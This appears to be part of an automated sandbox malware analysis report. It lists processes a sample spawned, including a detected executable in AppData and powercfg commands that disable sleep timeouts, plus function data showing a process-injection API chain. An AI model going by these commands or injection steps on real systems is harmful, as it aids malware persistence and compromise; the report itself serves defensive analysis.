Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	21:17:37
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	21:17:40
Start date:	29/08/2024
Path:	C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"
Imagebase:	0x510000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:17:43
Start date:	29/08/2024
Path:	C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe"
Imagebase:	0xb70000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:17:48
Start date:	29/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6b0dd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:17:48
Start date:	29/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6b0dd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:17:48
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	21:17:48
Start date:	29/08/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff6b0dd0000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	91
Total number of Limit Nodes:	3

Executed Functions

Function 07254A58 Relevance: 50.6, Strings: 40, Instructions: 563
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

[, xrefs: 07254FF4
6, xrefs: 07254EC4
4, xrefs: 072551CC
`, xrefs: 072550D2
V, xrefs: 07254D06
`, xrefs: 07254FA8
+, xrefs: 07254E92
+, xrefs: 07255010
], xrefs: 07254C2E
Z, xrefs: 07254DEE
T, xrefs: 07254EA8
5, xrefs: 07255064
Q, xrefs: 07254C42
B, xrefs: 07254D8A
6, xrefs: 0725518C
=, xrefs: 07254DB6
H, xrefs: 07254D76
M, xrefs: 07254CAC
0, xrefs: 07254E7E
:, xrefs: 0725521E
4, xrefs: 07254BCC
SWDB, xrefs: 07255286
C, xrefs: 0725514C
S, xrefs: 07254D9C
F, xrefs: 072550DC
&, xrefs: 07255196
E, xrefs: 07254F82
W, xrefs: 07254E6A
], xrefs: 07255046
L, xrefs: 07254C0D
), xrefs: 07254DCC
9, xrefs: 072551AC
S, xrefs: 07254BF3
0, xrefs: 072552BA
C, xrefs: 07254FDE
?, xrefs: 07255182
6, xrefs: 072550BC
c, xrefs: 07254BDF
a, xrefs: 07254C84
b, xrefs: 07254D2A

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: &$)$+$+$0$0$4$4$5$6$6$6$9$:$=$?$B$C$C$E$F$H$L$M$Q$S$S$SWDB$T$V$W$Z$[$]$]$`$`$a$b$c
API String ID: 0-1006918912
Opcode ID: 72c289568cd0bd3a8fcd75502af4e214eb1419652e7ae15a8b9bdeb7005fb179
Instruction ID: 0af05d5bc965bb2afd88278933df434d9a2cb125e6ab4785a602f80c03d7ee9a
Opcode Fuzzy Hash: 72c289568cd0bd3a8fcd75502af4e214eb1419652e7ae15a8b9bdeb7005fb179
Instruction Fuzzy Hash: 5E62B1B5D016298FEB65DF2AC984799BBF6FB88300F1481EA940CAB251DB755EC58F00

Function 07250006 Relevance: 50.5, Strings: 40, Instructions: 534
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 07250575
), xrefs: 07250399
C, xrefs: 07250719
a, xrefs: 07250251
4, xrefs: 0725019F
&, xrefs: 07250763
9, xrefs: 07250779
T, xrefs: 07250475
C, xrefs: 072505AB
+, xrefs: 072505DD
H, xrefs: 07250343
W, xrefs: 07250437
], xrefs: 07250613
6, xrefs: 07250689
M, xrefs: 07250279
[, xrefs: 072505C1
E, xrefs: 0725054F
Z, xrefs: 072503BB
c, xrefs: 072501AF
B, xrefs: 07250357
:, xrefs: 072507EB
?, xrefs: 0725074F
+, xrefs: 0725045F
S, xrefs: 07250369
6, xrefs: 07250759
Q, xrefs: 0725020F
F, xrefs: 072506A9
SWDB, xrefs: 07250853
0, xrefs: 0725044B
5, xrefs: 07250631
6, xrefs: 07250491
b, xrefs: 072502F7
], xrefs: 072501FB
=, xrefs: 07250383
0, xrefs: 07250887
L, xrefs: 072501DD
S, xrefs: 072501C3
V, xrefs: 072502D3
4, xrefs: 07250799
`, xrefs: 0725069F

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: &$)$+$+$0$0$4$4$5$6$6$6$9$:$=$?$B$C$C$E$F$H$L$M$Q$S$S$SWDB$T$V$W$Z$[$]$]$`$`$a$b$c
API String ID: 0-1006918912
Opcode ID: 33d199ef242b542771e76762ef4832e5d334451138218b766dfa9b5a7b352433
Instruction ID: 06c5806d89b9733900993a75c0404d574b05561d7ab79cd16b455768464b90f1
Opcode Fuzzy Hash: 33d199ef242b542771e76762ef4832e5d334451138218b766dfa9b5a7b352433
Instruction Fuzzy Hash: E962A3B5D016298FEB65DF29C985799BBF6FB48304F1081EAD40CA7250DBBA5E85CF00

Function 07250040 Relevance: 50.5, Strings: 40, Instructions: 515
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`, xrefs: 07250575
), xrefs: 07250399
C, xrefs: 07250719
a, xrefs: 07250251
4, xrefs: 0725019F
&, xrefs: 07250763
9, xrefs: 07250779
T, xrefs: 07250475
C, xrefs: 072505AB
+, xrefs: 072505DD
H, xrefs: 07250343
W, xrefs: 07250437
], xrefs: 07250613
6, xrefs: 07250689
M, xrefs: 07250279
[, xrefs: 072505C1
E, xrefs: 0725054F
Z, xrefs: 072503BB
c, xrefs: 072501AF
B, xrefs: 07250357
:, xrefs: 072507EB
?, xrefs: 0725074F
+, xrefs: 0725045F
S, xrefs: 07250369
6, xrefs: 07250759
Q, xrefs: 0725020F
F, xrefs: 072506A9
SWDB, xrefs: 07250853
0, xrefs: 0725044B
5, xrefs: 07250631
6, xrefs: 07250491
b, xrefs: 072502F7
], xrefs: 072501FB
=, xrefs: 07250383
0, xrefs: 07250887
L, xrefs: 072501DD
S, xrefs: 072501C3
V, xrefs: 072502D3
4, xrefs: 07250799
`, xrefs: 0725069F

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: &$)$+$+$0$0$4$4$5$6$6$6$9$:$=$?$B$C$C$E$F$H$L$M$Q$S$S$SWDB$T$V$W$Z$[$]$]$`$`$a$b$c
API String ID: 0-1006918912
Opcode ID: 99b6c08171f1fffcfcbb800a00017bec9d1564cafd0ef303abb9b4746fa05bcf
Instruction ID: f98a9da955030d52908b927022181dcc0c785bc55b2b4f4cdff44b1a693b2bc8
Opcode Fuzzy Hash: 99b6c08171f1fffcfcbb800a00017bec9d1564cafd0ef303abb9b4746fa05bcf
Instruction Fuzzy Hash: 8A6292B5D016298FEB65DF29C945799BBF6FB88304F1081EAD40CA7250DBBA5E85CF00

Function 072519D8 Relevance: 31.8, Strings: 25, Instructions: 500
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

:, xrefs: 072522B1
&, xrefs: 0725224F
6, xrefs: 07251D7B
T, xrefs: 07251D49
c, xrefs: 07251FBF
{NA, xrefs: 072521D9
6, xrefs: 072522A7
B, xrefs: 07251EE9
=, xrefs: 07251C83
B, xrefs: 072520BB
Y, xrefs: 07251E3D
#, xrefs: 07251D35
M, xrefs: 07252023
&, xrefs: 07251D17
, xrefs: 07251DB5
M, xrefs: 07251CBD
O, xrefs: 07252047
W, xrefs: 07251D85
V, xrefs: 07251D21
b, xrefs: 07252245
0, xrefs: 0725208D
i@B, xrefs: 07251F0D
/, xrefs: 07251F03
`, xrefs: 07252083
(, xrefs: 07252051

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: $#$&$&$($/$0$6$6$:$=$B$B$M$M$O$T$V$W$Y$`$b$c$i@B${NA
API String ID: 0-4253368868
Opcode ID: e84e357f76a03df5987d18aaf716f52bb07ae38a246e262539e0b1bb77681749
Instruction ID: 53158d19e85d0be5f797a925f6e0cf80d47aa071e3dcd4cba486c7da7165f503
Opcode Fuzzy Hash: e84e357f76a03df5987d18aaf716f52bb07ae38a246e262539e0b1bb77681749
Instruction Fuzzy Hash: 505281B1D016298FEB64DF2AC9447D9BBF2FF88300F15C1EA941CAB255EB754A858F40

Function 07252539 Relevance: 31.7, Strings: 25, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i@B, xrefs: 07252AA6
&, xrefs: 07252DE8
`, xrefs: 07252C1C
V, xrefs: 072528BA
B, xrefs: 07252C54
6, xrefs: 07252914
, xrefs: 0725294E
M, xrefs: 07252856
=, xrefs: 0725281C
c, xrefs: 07252B58
0, xrefs: 07252C26
&, xrefs: 072528B0
Y, xrefs: 072529D6
W, xrefs: 0725291E
T, xrefs: 072528E2
B, xrefs: 07252A82
#, xrefs: 072528CE
:, xrefs: 07252E4A
M, xrefs: 07252BBC
(, xrefs: 07252BEA
{NA, xrefs: 07252D72
b, xrefs: 07252DDE
6, xrefs: 07252E40
O, xrefs: 07252BE0
/, xrefs: 07252A9C

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: $#$&$&$($/$0$6$6$:$=$B$B$M$M$O$T$V$W$Y$`$b$c$i@B${NA
API String ID: 0-4253368868
Opcode ID: cb2591a5e3b2fe9c2b34d1ed64172593ad18099caea51cb71e4a2daaaec05b17
Instruction ID: 85c327ec0799cc89edb796980166e0b6d90c159b415dbaba94dd57b575668897
Opcode Fuzzy Hash: cb2591a5e3b2fe9c2b34d1ed64172593ad18099caea51cb71e4a2daaaec05b17
Instruction Fuzzy Hash: 074272B1D016698FEB64CF1AD9487D9BBF2FF88300F15C1EA941CAB251DB794A818F00

Function 07252548 Relevance: 31.7, Strings: 25, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

i@B, xrefs: 07252AA6
&, xrefs: 07252DE8
`, xrefs: 07252C1C
V, xrefs: 072528BA
B, xrefs: 07252C54
6, xrefs: 07252914
, xrefs: 0725294E
M, xrefs: 07252856
=, xrefs: 0725281C
c, xrefs: 07252B58
0, xrefs: 07252C26
&, xrefs: 072528B0
Y, xrefs: 072529D6
W, xrefs: 0725291E
T, xrefs: 072528E2
B, xrefs: 07252A82
#, xrefs: 072528CE
:, xrefs: 07252E4A
M, xrefs: 07252BBC
(, xrefs: 07252BEA
{NA, xrefs: 07252D72
b, xrefs: 07252DDE
6, xrefs: 07252E40
O, xrefs: 07252BE0
/, xrefs: 07252A9C

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: $#$&$&$($/$0$6$6$:$=$B$B$M$M$O$T$V$W$Y$`$b$c$i@B${NA
API String ID: 0-4253368868
Opcode ID: e93705d0150c6fef0ce497974785ec3c34d6447fb49d09429cc96802138b6a22
Instruction ID: 23f3beeafd8bdaa75ba4a0cd6d5b1fee706ccec3b70e716c84b5d3adac49f575
Opcode Fuzzy Hash: e93705d0150c6fef0ce497974785ec3c34d6447fb49d09429cc96802138b6a22
Instruction Fuzzy Hash: 484270B1D016698FEB64CF1AD9487D9BBF2FF88300F15C1EA941CAB251DB794A818F40

Function 032FDA10 Relevance: 6.6, Strings: 5, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 032FDDCF
(o^q, xrefs: 032FDB55
(o^q, xrefs: 032FDB61
,bq, xrefs: 032FDB27
,bq, xrefs: 032FDB33

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq$Hbq
API String ID: 0-3486158592
Opcode ID: d75a1384be0589afec93bb18af9dd0ccd7e68dd575d4cc90a588560bd6b26e60
Instruction ID: e9846a594a4cd26f6441f4ca907917f58bfcb994d7641dd5f9635e092f4249e6
Opcode Fuzzy Hash: d75a1384be0589afec93bb18af9dd0ccd7e68dd575d4cc90a588560bd6b26e60
Instruction Fuzzy Hash: E5C15F35B202199FCB14DF68D958AAEBBF6BF88750F148069E905D73A4DB30DC81CB91

Function 032F3171 Relevance: 6.4, Strings: 5, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

#, xrefs: 032F3232
], xrefs: 032F323C
*, xrefs: 032F3220
I, xrefs: 032F332C
#, xrefs: 032F32F8

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: #$#$*$I$]
API String ID: 0-2105136937
Opcode ID: cf925c30be01bc1cba185846666ad443b24cf6efb73ae97239006b873f396b60
Instruction ID: 9976c0ec3bb1b6a1370636eb327ebf5197957e746060ccfc0ece793916d22aac
Opcode Fuzzy Hash: cf925c30be01bc1cba185846666ad443b24cf6efb73ae97239006b873f396b60
Instruction Fuzzy Hash: A65183B4D112688FDB60EF28D984799FBF4BB4A305F0091EAD54DB3240DB745A80CF55

Function 032F4C3A Relevance: 5.1, Strings: 4, Instructions: 148
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

b, xrefs: 032F4F0C
J, xrefs: 032F4CAF
=, xrefs: 032F4C99
^, xrefs: 032F4CA5

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: =$J$^$b
API String ID: 0-3246442021
Opcode ID: abe300c75b1e8c168ff9c39cca98a1a6a0a87bcf693b68b08b61c4979b695414
Instruction ID: d7c0880e2014966ca5853b4e25abc37c7f1be8d515b231491a1d92d0ac93d52b
Opcode Fuzzy Hash: abe300c75b1e8c168ff9c39cca98a1a6a0a87bcf693b68b08b61c4979b695414
Instruction Fuzzy Hash: 3A71A478E113688FDB64DF24DA94A99BBB1FB4A311F1051E9D40EA3B44DB356E80CF42

Function 032F4951 Relevance: 2.6, Strings: 2, Instructions: 97COMMON

Download Yara Rule

Strings

y, xrefs: 032F4ABD
e, xrefs: 032F4B07

Memory Dump Source

Source File: 00000000.00000002.1655704026.00000000032F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 032F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32f0000_kqS23MOytx.jbxd

Similarity

API ID:
String ID: e$y
API String ID: 0-1768749287
Opcode ID: 113e47c70d7183701254d68f0c2dd5dc4b861ef22058a547dce11c35358ae4b5
Instruction ID: bc8bd2bea7424c621223e4df8aa112b84e602a44834f04f4639f551744d45868
Opcode Fuzzy Hash: 113e47c70d7183701254d68f0c2dd5dc4b861ef22058a547dce11c35358ae4b5
Instruction Fuzzy Hash: 68418278E153288FDB64DF24D994B99BBB1FB4A305F0090EAD40EA3A44DB355E80CF46

Function 0725D1A5 Relevance: 1.8, APIs: 1, Instructions: 323processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0725D477

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: cee391f3263c7c19cfccd47bba05f5cc0947ab6cf02ce822f02c2a4efcb85821
Instruction ID: ba6767bc18b41f9a0150af6f1e05bd8c8be7ab176c8c08c17c98d77f4b048d3b
Opcode Fuzzy Hash: cee391f3263c7c19cfccd47bba05f5cc0947ab6cf02ce822f02c2a4efcb85821
Instruction Fuzzy Hash: 6FC115B1D0021A8FDB20CFA8C881BEDBBB1BF09304F0495A9D859B7250DB749A85CF95

Function 0725D1B0 Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0725D477

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 19c09e9bf9e58a7ffe5f0999a72a683a2a69d1e29a8ecef90c5caf5015c29550
Instruction ID: 055079cf23c2ca7bffeba6a8023d9fd03f10d83d980539b8b4390be61cb113d7
Opcode Fuzzy Hash: 19c09e9bf9e58a7ffe5f0999a72a683a2a69d1e29a8ecef90c5caf5015c29550
Instruction Fuzzy Hash: BEC114B0D0021E8FDB20CFA8C881BEDBBB1BF09314F0495A9D859B7250DB749A85CF95

Function 0725CE20 Relevance: 1.6, APIs: 1, Instructions: 118injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0725CEFB

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 3934a87eeb06184d81e8063c94fcfeea2353a18581ee40220a3319f6b144c873
Instruction ID: 06b654fca5821882742294843fbb66032b1ddc61c4018dab5d239cfaba611efb
Opcode Fuzzy Hash: 3934a87eeb06184d81e8063c94fcfeea2353a18581ee40220a3319f6b144c873
Instruction Fuzzy Hash: 824199B5D012599FCF00CFA9D984AEEFBF1BB49310F24942AE819B7210D334AA45CF64

Function 0725CE28 Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0725CEFB

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0e2860c872e65dafb09cf301522ebfc53cfe7616262cca53f6137eb4c44963e3
Instruction ID: 62576a60f617be0f010aa91fe77b3abaf262fad0b68a657aa8052209d34a4f18
Opcode Fuzzy Hash: 0e2860c872e65dafb09cf301522ebfc53cfe7616262cca53f6137eb4c44963e3
Instruction Fuzzy Hash: AA41AAB5D012599FCF10CFA9D984ADEFBF1BB49310F20942AE818B7210D735AA45CF64

Function 0725CBDA Relevance: 1.6, APIs: 1, Instructions: 112threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0725CC8F

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: c4c3e05dfde8ab80c5d9327f7dc7a6fb30ef5c1217a6fadeb80279fac792bd74
Instruction ID: 11384e478b8bbbe6268549ac2d9af9fce8e64e0831ccd5938d7ec5c21eca1f0e
Opcode Fuzzy Hash: c4c3e05dfde8ab80c5d9327f7dc7a6fb30ef5c1217a6fadeb80279fac792bd74
Instruction Fuzzy Hash: 7641BCB5D102599FCB10CFA9D584AEEFBB0BF49314F14942AE818B7200D734A985CFA4

Function 0725CF7A Relevance: 1.6, APIs: 1, Instructions: 107COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0725D032

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: a11f861a0ec51634a3fd56997de4bebcee4c8023ddc939b9e21b039493d22858
Instruction ID: 7a355a5fe7de1b89c126fc5e0e22d03e314e6677576c7c98b6676412808b7cfa
Opcode Fuzzy Hash: a11f861a0ec51634a3fd56997de4bebcee4c8023ddc939b9e21b039493d22858
Instruction Fuzzy Hash: 9141A9B9D00258DFCF10CFA9D984AEEFBB1BB09310F10942AE815B7210C735A946CF68

Function 0725CF80 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0725D032

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: f9efcafbf95a750c16b52177e5c0576ae393fa2fde1b1283a45e0acebf42736c
Instruction ID: ca5c2f94c99f5137b81374b5a2f0e82f003ab0026febacda3b250caf2bb1b3c8
Opcode Fuzzy Hash: f9efcafbf95a750c16b52177e5c0576ae393fa2fde1b1283a45e0acebf42736c
Instruction Fuzzy Hash: D94199B5D04258DFCF10CFAAD984AEEFBB1BB49310F10942AE815B7210D735A946CF68

Function 0725CD08 Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0725CDB2

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8af266d1a01835f825142bcf6c0364de72c77c6f26f6a78b6eb8ff141d158ed1
Instruction ID: 8af0a991a5c9caeda02282c8b50fb5dfbc65dffc586bf1b64bfe6ede1e2f7533
Opcode Fuzzy Hash: 8af266d1a01835f825142bcf6c0364de72c77c6f26f6a78b6eb8ff141d158ed1
Instruction Fuzzy Hash: 163188B9D002599FCF10CFA9D980ADEFBB1BB49310F10942AE815B7210D735A945CFA8

Function 0725CD06 Relevance: 1.6, APIs: 1, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0725CDB2

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 321898c6da151a7b65bb48d4ec2c67e328da8dbea2effed7a9f47f805fbab7f1
Instruction ID: 23f164f27b33367d831618a05f9d3cc197c9fa52f52ad674621190f4764f4f5e
Opcode Fuzzy Hash: 321898c6da151a7b65bb48d4ec2c67e328da8dbea2effed7a9f47f805fbab7f1
Instruction Fuzzy Hash: 9F3186B9D01259DFCF10CFA9D981AEEFBB1BB49310F10942AE815B7210D735A946CF68

Function 0725CBE0 Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0725CC8F

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: cab21e5ac02eb7e159233fb7ae85be1dbd6869ba7f3f4cc666dde9751428f59e
Instruction ID: 60ac12a8b655d0e11e8e39474d5cc849d12c3d2e06c6d378b99b78e3b4b0a409
Opcode Fuzzy Hash: cab21e5ac02eb7e159233fb7ae85be1dbd6869ba7f3f4cc666dde9751428f59e
Instruction Fuzzy Hash: 0231BCB4D102599FCB10CFA9D984AEEFBF0BF49310F14942AE418B7250D738A985CFA4

Function 0725CAE8 Relevance: 1.6, APIs: 1, Instructions: 75threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0725CB6E

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: fb2b59792ac08f6628a66a37d293401fade35b6cfd9e044f8bf0d61380a85f28
Instruction ID: 0a77ce247b446506baa588fbbb692447339a0185e691ceb1fd8860f1b2cc5e1e
Opcode Fuzzy Hash: fb2b59792ac08f6628a66a37d293401fade35b6cfd9e044f8bf0d61380a85f28
Instruction Fuzzy Hash: 2C31CAB5D102599FCB14CFA9D980ADEFBF4EB49324F10942AE814B7350D735A845CFA8

Function 0725CAF0 Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0725CB6E

Memory Dump Source

Source File: 00000000.00000002.1686271758.0000000007250000.00000040.00000800.00020000.00000000.sdmp, Offset: 07250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7250000_kqS23MOytx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 61dff21a43155b88b3590fa594852c504bdb77458247f899bf4a855bb83f4af9
Instruction ID: 8dbe959b75b81005d3ca89d7163d5d634a2db4e537cea6ce53c801495eaf9abb
